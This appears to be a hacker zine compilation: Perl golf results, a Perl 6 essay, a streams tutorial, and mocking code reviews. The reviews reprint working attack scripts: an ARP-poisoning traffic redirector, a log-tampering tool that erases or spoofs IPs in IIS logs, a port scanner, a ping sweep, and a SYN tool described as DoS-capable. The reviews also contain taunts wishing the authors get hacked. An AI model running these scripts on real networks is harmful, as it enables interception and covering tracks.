s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$X[$_].=4x$&%1859^7!egfor+0..3999;@Y{@
+X}=0..@X;y/m/-/;s/\w+/+$Y{$&}/g;$_=$X[eval]
is 12 strokes less fat -- Util really needed to find the symbolic reference hack to join the
leading pack.
9. Jasper (126.46)
Jasper is a very experienced golfer, having competed in ten tournaments in the 2002 TPR season,
finishing the season in 13th place, with winnings of $719,600.
Jasper was the highest placed of those golfers who missed Ton's magic roman formula.
#!perl -lp
map{y/IVXLC/XLCDM/,s!\d!$&^4?$&^9?V x($&>3).I x($&%5):IX:IV!ewhile//;$
+$_=$n++}@d=0..3999;y/m/-/;s/\w+/+${$&}/g;$_=$d[eval]
[download]
What was astonishing here is that Jasper had never heard of mtve's book of golf containing Ton's
magic roman formula. This is despite playing in many, many golfs over the years and being mentioned
many times in the book himself.
8. eyepopslikeamosquito (122.54)
eyepopslikeamosquito is an experienced golfer, having competed in eight tournaments in the 2002 TPR
season, finishing the season in 17th place, with winnings of $652,400.
#!perl -lp
sub'_{$;=0;($;.=5x$_*8%29628)=~y$IVCXL426.-X$XLMCDIVX$dfor/./g;$;}y;mp
+;-+;;s>\w+>(grep$&eq&_,1..1e4)[0]>eg;$_=_$_=eval
Like Util, eyepopslikeamosquito wasn't really in the game because he failed the find the symbolic
reference trick. While Util used a hash lookup, eyepopslikeamosquito tried grep in harness with a
sub.
7. Sec (120.51)
Sec is an experienced golfer, having competed in eight tournaments in the 2002 TPR season,
finishing the season in 57th place, with winnings of $179,467.
#!perl -lp
@%=map{my$a;s/./y!IVCXL91-80!XLMCDXVIII!dfor$a.=4x$&%1859^7/eg;$$a=$/-
+-;$a}0..3999;y/i/-/;s/\w+/${$&}/g;$_=$%[-eval]
Of note here, is that Sec only spent half a day on the entire tournament. Impressive.
6. pijll (118.53)
pijll is a champion golfer, having competed in ten tournaments in the 2002 TPR season, finishing
the season in 3rd place, with winnings of $3,540,000. Notably, pijll has beaten ton in head-to-head
matches on at least three occasions, winning the tournament each time.
#!perl -pl
y/i-z/-+/s;for$a(1..4e3){$a=~s#.#($n[$a].=4x$&%1859^7)=~y$IVCXL91-I0$X
+LMCDXVIII$d;s/\b$n[$a]\b/$a/g#ge}$_=$n[eval]
pijll is such a classy golfer that had you mentioned in passing, "Erm, (-ugene, why not try using a
symbolic reference in this game?", I have no doubt that pijll would have been battling with ton and
Juho for first prize a few hours later.
5. szeryf (115.52)
szeryf is an experienced golfer, having competed in one tournament in the 2002 TPR season,
finishing the season in 123rd place, with winnings of $56,000. In his only tournament in that
season, he thrillingly came from behind to snatch the Beginner's trophy.
Since then he has competed in a number of Polish golf tournaments.
#!perl -pl
@;=map{$a=0;($a.=4x$_%1859^7)=~y!IVCXL91-80!XLMCDXVIII!dfor/./g;$$a=$_
+;$a}s''$'>y/isl-{/-$+
/..3999;$_=$;[eval]
4. jojo (111.49)
jojo is a mystery golfer. If anyone knows more about him/her, please let us know. jojo is an
experienced golfer, having competed in 12 challenges at codegolf where he/she is currently in 15th
place overall.
#!perl -pl
s|.|y;CLXVI624.-=;MDCLXXVI;dfor$$_.=5x$&*8%29628;$&|ge,$$$_=$_^Kfor-4e
+3..o;s;\w+;${$&}|$&&'-';ge;$_=${+eval}
3. TedYoung (108.53)
TedYoung is an experienced golfer, having competed in three tournaments in the 2002 TPR season
(under the moniker Theodore Young), finishing the season in 82nd place, with winnings of $127,200.
#!perl -lp
y,iul-~,-$+,d,$_=eval,${$@}=1..!s/./y@IVCXL91-:0@XLMCDXVIII@dfor$@.=4x
+$&%1859^7/egfor$...3999,u.$_;$_=$@
TedYoung was the surprise packet of the tournament. He has clearly moved to a higher golfing plane
since 2002.
2. Juho Snellman (102.54)
Juho Snellman is a brilliant golfer, having competed in six tournaments in the 2002 TPR season
finishing the season in 6th place, with winnings of $1,264,000.
#!perl -pl
$_=${s!.!y$XLIVC246,-:$CDXLMVIX$dfor$$_.=8x$&*5%29628;$$$_=$_!gefor-4e
+3..s''$'/y/isl-~/-$+/d;eval}
Juho put in a really gutsy performance, gallantly leading the pack relentlessly pursuing ton during
the last days. Indeed, only failing to unearth ton's little *_=eval "More fun with globs" trick
prevented Juho from sharing first place in this competition.
1. ton (99.56)
ton (aka thospel) is a legendary golfer, having competed in ten tournaments in the 2002 TPR season
finishing the season in 1st place, with winnings of $4,384,000 ($4,384,350 now ;-).
#!perl -pl
s!.!y$IVCXL426(-:$XLMCDIVX$dfor$$_.=5x$&*8%29628;$$$_=$_!egfor-4e3..y/
+iul-}/-$+ /%s''$';*_=eval
In addition to breaking the magic 100 barrier, ton managed to concoct the first known functional
smiley in a golf winner's solution. (-:
Since ton invented the magic formula in the first place, I feel he was a most worthy winner.
Congratulations thospel!
References
USD $350 Cash First Prize for Perl Golf Competition
Perl Golf Ethics
TPR Golf Contests
Original Polish Golf where Ton first used his magic formula
Terje/mtv pdf book about Perl Golf
perl golf mailing list archive
Final TPR Career Money Leader List
Golf competitions in Perl, Ruby, Python or PHP
`/anick's BoG (Book of Golfers)
The Lighter Side of Perl Culture (Part IV): Golf
Acknowledgements: I'd like to thank cog for writing the Acme::AsciiArt2HtmlTable module, which was
used to generate the little pictures above. I'd also like to thank Samy Kamkar of LA.pm for
refereeing the Fonality tournament on his own. Update: I seem to have hit the size limit of a
meditation, anyway the last bit got chopped off, so I had to remove the little orange picture of
pijll to get it to fit. :-( Update: Added new "Tactical Tricks" section (thanks thospel) and
expanded "Top Ten Countdown" section a bit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 11384 2007-02-26 18:17 laugh/2600.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> She'll never expect a snowball in JUNE! Boy, will she be mad! Ha ha ha!
Wow, 2600 has taken a lot recently. First Zero For 0wned features their IRC
network in their debut issue, and now we do their Perl.
We were actually getting low on material, so we decided to sink to 2600. It
didn't turn out very well as they didn't have any credibility BEFORE we got
to them.
As a friend of mine once put it:
18:36 <nick_removed> 2600 folk are the worst breed of hacker
18:37 <nick_removed> if you can even call them that
18:37 <nick_removed> maybe confused anti-establishment morons would be a better term
So, on with the show!
#!/usr/bin/perl -w
# -w eh? What's next, $^W ?
# use warnings;
#
# A simple program to open a TCP port. Useful for
# testing SYN packet issues on state-like firewalls.
#
# http://www.assdingos.com/grass/
#
# Shout outs: Cat5, Rijendaly Llama, chix0r, alx0r,
# exial, stormdragon, lucid_fox,
# Deathstroke, Harkonen, daverb and
# eXoDuS (YNBABWARL!)
#
# Some code used from snacktime.pl
# http://www.planb-security.net/wp/snacktime.html
# (C) Tod Beardsley
#
# Copyright (C) Gr@ve_Rose
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
# Blah, blah, blah.
# POD. Learn to love it.
use warnings; # Hmmm... nice job on starting the interpreter with warnings enabled, and then
enabling them again!
use strict;
use Getopt::Std;
use IO::Socket::INET;
# IPv6 Support - README
# To get IPv6 support you will need to install two
# additional Perl modules: Socket6 and IO-Socket-INET6
# First, download each package from CPAN:
# Socket6 -> http://search.cpan.org/CPAN/authors/id/U/UM/UMEMOTO/Socket6-0.17.tar.gz
# INET6 -> http://search.cpan.org/CPAN/authors/id/M/MO/MONDEJAR/IO-Socket-INET6-2.51.tar.gz
# Once downloaded, uncompress each file and go into
# the new directories. Run the command (as r00t):
# perl ./Makefile.PL && make && make install
# in each directory to install the modules. You need to
# install Socket6 first.
# Finally, uncomment the line below and enjoy.
# That's all included in the IO::Socket::INET6 install docs, and there's no need for it here.
use IO::Socket::INET6;
# This wasn't commented.
$| = 1 ; # Get rid of the buffer and dump to STDOUT
my %options;
getopts('m:t:p:s:x:',\%options) || usage();
# Are we asking for the man page? If so, stop here and go there.
if ($options{m}) {
man();
die; # You're already die()'ing in the man() subroutine, why die again?
}
# Do we have a Target IP?
if (not $options{t}) {
print "\r\n";
print " [*************ERROR**************]";
print "\n";
print " --==[You forgot the target IP Address]==--";
print "\n";
print " [*************ERROR**************]";
print "\r\n";
# Wow... Maybe try: print qq(...); ? Seriously, maybe you
# should check out perlintro(1).
usage();
die; # Again, we'll never get here.
}
# Do we have a Target Port?
if (not $options{p}) {
print "\r\n";
print " [**********ERROR***********]";
print "\n";
print " --==[You forgot the target Port]==-";
print "\n";
print " [**********ERROR***********]";
print "\r\n";
# You just don't get it, do you?
usage();
die;
}
# Do we have a Local Source Port?
if (not $options{s}) {
print "\r\n";
print " [**********ERROR***********]";
print "\n";
print " --==[You forgot the source Port]==-";
print "\n";
print " [**********ERROR***********]";
print "\r\n";
# Please, somebody make it stop....
usage();
die;
}
# Default to IPv4 or if specified
if (not $options{x} or $options{x} == "4") {
my $socket = IO::Socket::INET -> new(PeerAddr => $options{t}, PeerPort => $options{p},
LocalPort => $options{s}, Proto => 'tcp');
# No error checking on the socket?
# my $socket = IO::Socket::INET -> new (...) or die "Can't connect to ", $host, ":", $port,
"\n";
my $gigo = "\r\n"; # A basic [ENTER] button to send if you want.
# See the blurb below for usage of this variable
# Go ahead and modify this for a specific protcol
# like HELO (port 25), or an HTTP GET request.
# If you would like to send a basic [ENTER] (Or whatever you've created)
# to the socket once connected, replace:
# print $socket
# listed below with:
# print $socket $gigo
# More crazy comments
printf "\r\nAttempting to connect... (IPv4)\r\n^C sends a FIN packet whenever you are ready
to close the connection.\r\n \r\n";
# printf() now eh? Nice way to change your coding style midway through.
# And why are you using "\r\n" ? Are you a Windows user or what?
printf $socket || die "There was an error in the connection. Check the following:\r\n-
Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
# Great, an error message that will never be reached. You see,
# IO::Socket::INET (and IO::Socket::INET6) will report that the
# connection failed. Maybe if you had done proper error checking (like
# was included above) you wouldn't have to have this long a pointless printf().
while (<$socket>) {
print $_;
}
}
# If IPv6 is explicitly defined in the command variable...
if ($options{x} == "6") {
# Who's up for some code reuse?
my $socket = IO::Socket::INET6 -> new(PeerAddr => $options{t}, PeerPort => $options{p},
LocalPort => $options{s}, Proto => 'tcp');
my $gigo = "\r\n"; # See note above for $gigo usage...
printf "\r\nAttempting to connect... (IPv6)\r\n^C sends a FIN packet whenever you are ready
to close the connection.\r\n \r\n";
printf $socket || die "There was an error in the connection. Check the following:\r\n-
Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
while (<$socket>) {
print $_;
}
}
sub usage {
# I like how you call die here, and then die again after calling the routine.
# Hey, you do know how to use here-docs. Why not use them to print your silly errors?
die <<EOH;
Grave_Rose\'s Atomically Small SYN - A small SYN sending program
Version 0.5
Usage: grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
-t MUST be present (Who are you sending the packet to?)
-p MUST be present (What port are you opening?)
-s MUST be present (Why would you want a dynamic source port?)
-x MAY be present - Use "-x 6" for IPv6 instead of IPv4
(Defaults to IPv4 if not present)
-man - Shows the mini-man page for further information
If you\'re seeing this message, you didn\'t get the memo.
There is additional information in the source of this program so if
you have any questions, look in the source before bugging me about
anything. All you have to do, is open grass.pl in your favourite
text editor and look at some of the comments.
Grave_Rose
EOH
}
sub man {
# Same issue, you die here, and then you die again.
die <<EOM;
G.R.A.S.S. Mini-Man Page
NAME
grass.pl - A small Perl SYN program
SYNOPSIS
grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
DESCRIPTION
grass.pl is a program intended to assist in troubleshooting network related issues
specifically with SYN and Source-Port troubles. You can use grass.pl to either act
as a "door-jam" for a SYN connection by starting it first or use it once an established
connection is already in place and you want to cause an effect from the same source
port as the previous connection.
OPTIONS
-t Specifies the Target IP address. This value *MUST* be present and can be either
IPv4 (Default) or IPv6 (See -x below).
-p Specifies the Target Port. This value *MUST* be present.
-s Specifies the Source Port. This value *MUST* be present.
-x Select IPv4 (Default or -x4) or IPv6 (-x6). For IPv6 to work, you *MUST* have the
Socket6 and IO::Socket::INET6 Perl Modules installed as well as a capable IPv6-enabled
interface.
RETURN VALUES
If a successful TCP connection is made, the IO::Socket::INET(6) will return a GLOB
from the connection. In the event the connection is unsuccessful, an error message
will be printed. If one of the three *MUST* options are missing, an error message
will be printed and will tell you which one you are missing.
EXAMPLES
Open port 80 on 10.11.12.13 from a source port of 31377:
./grass.pl -t 10.11.12.13 -p 80 -s 31337
Open port 110 on fec0:c0ff:ee01::1 from a source port of 5678:
./grass.pl -t fec0:c0ff:ee01::1 -p 110 -s 5678 -x 6
SECURITY NOTES
As long as you have access to Perl, this program has the potential to be a complete
SYN DoS program. It is *STRONGLY* suggested that you use this program with restraint
as basic "while" looping can change the program from "Happy Troubleshooting Tool" to
"Evil Script O' Death". Just as a hammer can be a tool or a weapon, I designed this
to be a tool and not a weapon. If this program ends up DoS-ing your network, take
action against the person who did this and not against me.
BUGS
Using the -m(an) switch... You can type anything after the letter "m" and you will get
this mini-man page. Using -m by itself does nothing though.
Yes, even: ./grass.pl -man am I drunk
EOM
}
#!/usr/bin/perl
# I swear to god, this actually made it into the zine.
# 23:3 page 29.
# No warnings? No lexical variables?
# use strict;
# use warnings;
use IO::Socket::INET;
my $port = 1;
$file = "/home/retail/perl/ports.txt";
# Why do you declare $port with my, and then make $file a package variable?
while($port < 10000){
# You've got to be kidding me...
# See, in Perl, we have this nifty thing called a for() loop.
# It's very useful in situations like this.
# for my $port (1..10000) {
# ...
# }
$sock = IO::Socket::INET -> new(PeerAddr => '172.21.101.11',
PeerPort => $port,
Proto => 'tcp',
Timeout => '1'); #Because we really need to quote
numbers.
open(LIST, ">>$file"); # or die "open(): error: Can't open ", $file, "\n";
# Yea, that's right, lets open() $file 10000 times, when we could just
# open it once, if we put this above the loop.
if ($sock){
close($sock); # Ewww.... parens...
print "$port -open\n"; # Quoting vars as well as integars now, are we?
# print $port, " -open\n";
print LIST "$port -open\n";
$port = $port + 1; # .... Are you serious? Why not $port =+ 1; ?
# Or $port++; ?
# Or avoid that all together with the
# for() loop mentioned previously.
}
else{ # I'm not even going to bother...
print "$port -closed\n";
$port = $port + 1;
}
}
close(LIST); # *sigh*
# exit;
#!/usr/bin/perl
# I was considering not putting this in the zine; it reflects badly on us.
# I also don't think this needs any comments.
$subnet = 000;
while($subnet <= 255){
system("ping -q -c 1 -w 1 172.21.$subnet.11");
$subnet = $subnet + 1;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 897 2007-02-26 18:15 rant/saltmarsh.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Assuming a nonchalent air, I walked over to the plank down which workmen were dragging empty
barrows.
"Greetings, mates. Good luck to you."
The response was utterly unexpected. The first workman, a sturdy grey-haired old man with trousers
rolled to the knee and sleeves to the shoulder, exposing a sinewy bronzed body, did not hear me and
walked past without paying me any notice. The second workman, a young chap with brown hair and grey
eyes, threw me a hostile glance and made a face, throwing in a coarse oath for good measure. The
third--evidently a Greek, for he was as brown as a beetle and had curly hair--expressed his regret
that his hands were occupied and therefore he could not introduce his first to my nose. This was
said in a tone of indifference inconsonant with the desire expressed. The fourth shouted at the top
of his lungs: "Hullo, glass-eye!" and tried to give me a kick.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3636 2007-02-26 18:14 school/perl6.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Why Perl 6 is taking so !@#$ long
by dragonchild
A lot of posts have been cropping up recently about Perl 6 and the common thread seems to be "It's
taking soooooooo long!" I'd like to explain, as a sometime contributor, why I think the process is
taking so bloody long. In no particular order ...
There's two projects - the Perl 6 language and the Parrot VM. The more ambitious project, in terms
of implementation, has always been Parrot. It's been almost 6 years since Dan started it and it
will probably be another 2-3 years before I would build something on top of it.
It's taking so long because you only get two of "Fast, Good, Cheap". Since anything associated with
Perl has to be Good, it's a Fast-Cheap scale. There's about 10 developers, nearly all of which are
volunteer, with another 20-30 testers. To me, that's high on the Cheap factor, which means that
things are going to be very slow. You're more than welcome to help fix that. I'm sure that Parrot
would be avaible in 6 months if all the developers were able to work on Parrot as their fulltime
job. All you need to do is pay them. IMHO, all the developers are worth at least US$100/hr.
But, that doesn't explain what's taking an average of 250 development hours/week for 9 years. (For
the math-impaired, that's 7500 development hours/year, or 67_500 development hours total.) Well,
here's a partial high-level list of the requirements on Parrot (in no particular order):
Fast
Reliable
Runs on every OS known to man
As parsimonious with RAM as possible
Unicode aware
Handles continutations and coroutines and treats functions as first-class data
Is threaded
Is garbage-collected
I don't know about you, but that's a very tall order. In comparison, the Java VM (which started 15
years ago and had 13 fulltime development staff for several years) only achieved half of those
requirements after 10 years of development and use.
Perl 6 isn't about fixing Perl 5's problems. Well, it is, but not within the Perl 5 framework.
The issue is that Perl 5 is too successful. P5 is over 10 years old, but Perl itself is not even
20. That should say something about how good Perl5 is. For something to replace that, it has to be
seriously better. Like, radically better. Some of the features in Perl 6 I'm excited about (in no
particular order):
Lexical grammar changes
Everything is an object, but only if I want to think of them that way
This means code is an object that I can manipulate
tie and overload both go away
I can change both the syntax and semantics of the language within a lexical scope
I have access to a real OO metamodel
That's some serious power! Don't worry if you don't understand the words ... just bask in the
knowledge that CP6AN is going to seriously rock.
Yet, with all that power, P6 will still provide all the scripty-doo and one-liner power that you've
come to expect from P5. In fact, you will still be able to write pure P5 code within P6. Name
another language that's completely and 100% backwards compatible after a major version upgrade.
Perl6 is exploring some uncharted territory in terms of programming theory. The P6l mailing list
happens to be very near the forefront of OO metamodels, roles/traits/mixins, parsing theory ... the
list goes on. It's not like all the theory has been laid out and P6l just has to cherrypick the
features it wants to add. P6l is creating some of the theory as it goes along! If that doesn't give
you the warm fuzzies, I don't know what will.
In short, Perl 6 is taking so long because it has to. If it didn't, then it wouldn't be a worthy
successor to Perl 5. You do want a worthy successor, don't you?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 5326 2007-02-26 18:12 laugh/foster_and_burnett.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> By golly, no monsters are going to get US tonight! Wither and die, bloodsucking freaks of nature!!
James C. Foster is one of the authours of the book Sockets, Shellcode, Porting and Coding: Reverse
Engineering Exploits and Tool Coding for Security Professionals. With a title like that, the book sounded
like it may be interesting. After flipping through the contents, and noticing a section that served as an
intro to Perl, I was pretty psyched. After all, these guys put the word coding in thier title, so they must
be good. I was shocked when I opened up to that section, and saw absolute trash in place of Perl. Then I
remembered that these were "security professionals".
The following appeared on pages 50 - 53 of Sockets, Shellcode, Porting and Coding: Reverse Engineering
Exploits and Tool Coding for Security Professionals.
#!/usr/bin/perl
##
# No strict?
# No warnings?
##
#Logz version 1.0
#By: James C. Foster
#Released by James C Foster & Mark Burnett at BlackHat Windows 2004 in Seattle
#January 2004
##
# Lame authour info.
##
use Getopt::Std;
getops('d:t:rhs:l') || usage();
##
# Are you kidding me?
# If this is a mark of what's to come, I should
# have fun with this one...
##
$logfile = $opt_l;
##
# Because that's *really* needed.
##
########
if ($opt_h == 1)
{
usage();
}
##
# BWAHAHAAHAHAHA. And these guys are "professionals".
# Try this: usage() if $opt_h;
# Clean, eh?
##
#######
if ($opt_t ne "" && $opt_s eq "")
{
##
# Great if() there buddy. You're obviously a great Perl coder, and completly understand
# the language.
##
open (FILE, "$logfile");
##
# Hmm... you market yourself as a *security* professional, and
# you don't know the secure way to open() a file in Perl?
# Very dubious.
# Also, great job with the random, un-needed, quotes.
# On a sperate note, wouldn't it be better to open the logfile up at the top of
# the script, and cut down on redundant code?
##
while (<FILE>)
{
##
# Yes, he actually spaced it like this.
##
$ranip=randomip();
s/$opt_t/$ranip/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die ("couldn't open.\n");
##
# Wheeee! Another bad call to open()!
##
print FILE2"@templog";
##
# Yes, that was actually spaced like that.
##
close FILE2;
}
#######
if ($opt_s ne "")
{
##
# This looks familiar...
# Here's an idea, Mr. Whitehat genuis, why not open the file, run it through a while() loop,
# and *then* check and see what arguments you were given, and do the needed actions. Makes sense, eh?
# Cuts back on redundant code, and makes it look like you actually know something.
##
open (FILE, "$logfile");
while (<FILE>)
{
s/$opt_t/$opt_s/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
if ($opt_r ne "")
{
##
# Please, make it stop...
##
open (FILE, "$logfile");
while (<FILE>)
{
$ranip=randomip();
s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
if ($opt_d ne "")
{
##
# I'm not even going to bother...
##
open (FILE, "$logfile");
while (<FILE>)
{
if (/.*$opt_d.*/)
{
next;
}
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
sub usage
{
print "\nLogz v1.0 - Microsoft Windows Multi-purpose Log Modification Utility\n";
print "Developed by: James C. Foster for BlackHat Windows 2004\n";
print "Idea Generated and Presented by: James C. Foster and Makr Burnett\n\n";
print "Usage: $0 [-options *]\n\n";
print "\t-h\t\tHelp menu\n";
print "\t-d ipAddress\t: Delete Log Entries with the Corresponding IP address\n";
print "\t-r\t\t: Replace all IP addresses with Random IP addresses\n";
print "\t-t targetIP\t: Replace the Target Address (with random IP addresses if none is specified)\n";
print "\t-s spoofedIP\t: Use this IP Address to replace the Target Address (optional)\n";
print "\t-l logfile\t: Logfile You Wish to Manipulate\n\n";
print "\tExample: logz.pl -r -l IIS.log\n";
print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt\n";
print "\t logz.pl -d 192.10.9.14 IIS.log\n";
##
# Wow, you devoted more time to the usage() subroutine than you did to the actual body of the script!
# Congrats!
# You whitehats disgust me. Saying that The "Idea was Generated and Presented" by you.
# Wow! What a brain wave! Let's use a scripting language with powerful built in string parsing
# and manipulation features to make a log editor! Then we can market it!! Smells like $$$ !!!
# Get a clue. And BTW, we have a little something called qq(). Jesus.
# Make an effort to learn the language next time.
##
}
sub randomip
{
##
# Hmm, aren't some of these scalars considered special variables?
##
$a = num();
$b = num();
$c = num();
$d = num();
$dot = '.';
$total = "$a$dot$b$dot$c$dot$d";
##
# ... HAHAHAHAHAHAHAH
# I haven't laughed that hard since rave got owned in h0no3!!
# my $total = $a . "." . $b . "." . $c . "." . $d;
##
return $total;
}
sub num
{
##
# Because this *clearly* needed its own subroutine.
##
$random = int( rand(230)) + 11;
return $random;
}
This was pathetic. I hope someone owns you and drops your spools.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3072 2007-02-26 18:12 laugh/jon_erickson.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> You know, there are times when it's a source of personal pride to not be human.
Jon Erickson is the founder of Phiral laboratories, and the authour of the
popular book, Hacking: The Art of Exploitation. He's published some impressive
works, and clearly knows his kung-foo (so to speak). However, his Perl appears
to be.... lacking. At best.
The following appeared on pages 154 - 155 of Hacking: The Art of Exploitation.
#!/usr/bin/perl
##
# No lexical variables?
# No warnings?
##
$device = "eth0";
$SIG{INT} = \&cleanup;
$flag = 1;
$gw = shift;
$targ = shift;
##
# Hey you know shift!
##
if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
{ # Perform input validation; if bad, exit.
die("Usage arpredirect.pl <gateway> <target>\n");
}
##
# Some nasty parens on die there.
##
# Quickly ping each target to put the MAC addresses in cache
print "Pinging $gw and $targ to retrieve MAC addresses...\n";
##
# Hey, look, its quoted scalars!
##
system("ping -1 -c 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null");
# Pull those addresses from the arp cache
print "Retrieving MAC addresses from arp cache...\n";
##
# It's lines like these next ones that indicate to me that
# you do indeed know Perl, and yet you somehow make elementry mistakes.
##
$gw_mac = qx[/sbin/arp -na $gw];
$gw_mac = substr($gw_mac, index(gw_mac, ":")-2, 17);
$targ_mac = qx[/sbin/arp -na $targ];
$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);
# If they're both not there, exit.
if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $gw not found.\n");
}
##
# More parens!
##
if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $targ not found.\n");
}
# Get your IP and MAC
print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5);
$me_mac = @ifconf[4];
print "[*] Gateway: $gw is at $gw_mac\n";
print "[*] Target: $targ is at $targ_mac\n";
print "[*] You: $me is at $me_mac.\n";
##
# Lose the quotes.
##
while($flag)
{ # Continue poisoning until ctrl-C
print "Redirecting: $gw -> $me_mac <- $targ";
system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
sleep 10;
##
# Essentially, you're doing while(1). The $flag scalar doesn't seem needed at all,
# especially not with the signal handeler you setup.
# And lose the quotes on those scalars!
##
}
sub cleanup
{ # Put things back to normal
$flag = 0;
##
# Definatly the best way to do that.
##
print "Ctrl-C caught, exitting cleanly.\nPutting arp caches back to normal.";
system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
##
# Right in here you could put a die, and then completly get rid of that $flag nonsense
# Great job, I can see you put alot of thought into that...
##
}
Frankly, I had higher expectations Jon.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 26922 2007-02-26 18:12 school/mjd.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Infinite lists in Perl
Many of the objects we deal with in programming are at least
conceptually infinite---the input from the Associated Press newswire,
for example, or the log output from a web server, or the digits of pi.
There's a general principle in programming that you should model things
as simply and as straightforwardly as possible, so that if an object
is infinite, you should model it as being infinite, with an infinite
data structure.
Of course, you can't have an infinite data structure, can you? After
all, the computer only has a finite amount of memory. But that
doesn't matter. We're all mortal, and so we, and our programs,
wouldn't really know an infinite data structure if we saw one. All
that's really necessary is to have a data structure that behaves *as
if* it were infinite.
A Unix pipe is a great example of such an object---think of a pipe
that happens to be connected to the standard output of the `yes'
program. From the man page:
`yes' prints the command line arguments, separated by spaces and
followed by a newline, forever until it is killed.
The output of `yes' might not be infinite, but it's a credible
imitation. So is the output of `tail -f /var/log/syslog'.
In this article I'll demonstrate a Perl data structure, the `Stream',
that behaves as if it were infinite. You can keep pulling data out of
this data structure, and it might never run out. Streams can be
filtered, just like Unix data streams can be filtered with `grep', and
they can be transformed and merged, just like Unix streams.
Programming with streams is a lot like programming with pipelines in
the shell---you can construct a simple stream, then transform and
filter it to get the stream you really want. This means that if
you're used to programming with pipelines, programming with streams
can feel very familiar.
As an example of a problem that's easy to solve with streams, we'll
look at:
HAMMING'S PROBLEM
Hamming wants an efficient algorithm that generates the list, in
i j k
ascending order, of all numbers of the form 2 3 5 for i,j,k at least
0. This list is called the /Hamming sequence/. The list begins like
this:
1 2 3 4 5 6 8 9 10 12 15 16 18 ...
Just for concreteness, let's say we want the first three thousand of
these. This problem was popularized by Edsger Dijkstra.
There's an obvious brute force technique: Take the first number you
haven't checked yet, divide it by 2's, 3's and 5's until you can't do
that any more, and if you're left with 1, then the number should go on
the list; otherwise throw it away and try the next number. So:
* Is 19 on the list? No, because it's not divisible by 2, 3, or 5.
* Is 20 on the list? Yes, because after we divide it by 2, 2, and 5,
we're left with 1.
* Is 21 on the list? No, because after we divide it by 3, we're left
with 7, which isn't divisible by 2, 3, or 5.
This obvious technique has one problem: it's unbelievably slow. The
problem is that most numbers aren't on the list, and you waste an
immense amount of time discovering that. Although the numbers at the
beginning of the list are pretty close together, the 2,999th number in
the list is 278,628,139,008. Even if you had enough time to wait for
the brute-force algorithm to check all the numbers up to
